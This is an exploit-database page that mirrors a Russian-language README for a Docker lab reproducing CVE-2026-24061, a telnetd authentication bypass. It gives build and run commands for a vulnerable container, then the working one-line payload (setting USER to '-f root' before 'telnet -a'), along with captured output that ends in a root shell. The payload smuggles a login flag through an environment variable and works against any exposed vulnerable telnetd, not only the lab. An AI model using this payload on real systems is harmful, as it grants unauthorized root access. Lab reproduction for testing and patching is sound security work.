Sploitus

Exploit for CVE-2026-24061-setup

kitploit · 2026-08-25

Exploit Code

MARKDOWN66 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-SHIVAM-BATHLA-CVE-2026-24061-SETUP
# Настройка CVE-2026-24061

Этот репозиторий содержит Docker-настройку для CVE-2026-24061.

После установки Docker просто выполните следующее:

  1. Клонируйте этот репозиторий.

  2. Выполните следующую команду:




root@kitploit:~
    
    
    sudo docker build . --tag telnetd-auth-bypass
    

  3. Когда Docker-образ будет собран, мы можем запустить контейнер следующей командой:



root@kitploit:~
    
    
    sudo docker run -dt --rm --name test telnetd-auth-bypass
    

  4. Когда это будет сделано, ваша уязвимая лабораторная среда готова к взлому. Просто отправьте payload и получите root-оболочку :)



root@kitploit:~
    
    
    kali@kali:~$ USER="-f root" telnet -a 172.17.0.2
    Trying 172.17.0.2...
    Connected to 172.17.0.2.
    Escape character is '^]'.
    
    Linux 6.12.25-amd64 (5321b63dbc56) (pts/1)
    
    Welcome to Ubuntu 24.04.3 LTS (GNU/Linux 6.12.25-amd64 x86_64)
    
     * Documentation:  https://help.ubuntu.com
     * Management:     https://landscape.canonical.com
     * Support:        https://ubuntu.com/pro
    
    This system has been minimized by removing packages and content that are
    not required on a system that users do not log into.
    
    To restore this content, you can run the 'unminimize' command.
    
    The programs included with the Ubuntu system are free software;
    the exact distribution terms for each program are described in the
    individual files in /usr/share/doc/*/copyright.
    
    Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
    applicable law.
    
    root@5321b63dbc56:~# 
    

Для получения более подробной информации вы можете обратиться к моей статье об уязвимости Telnet auth-bypass, ведущей к root.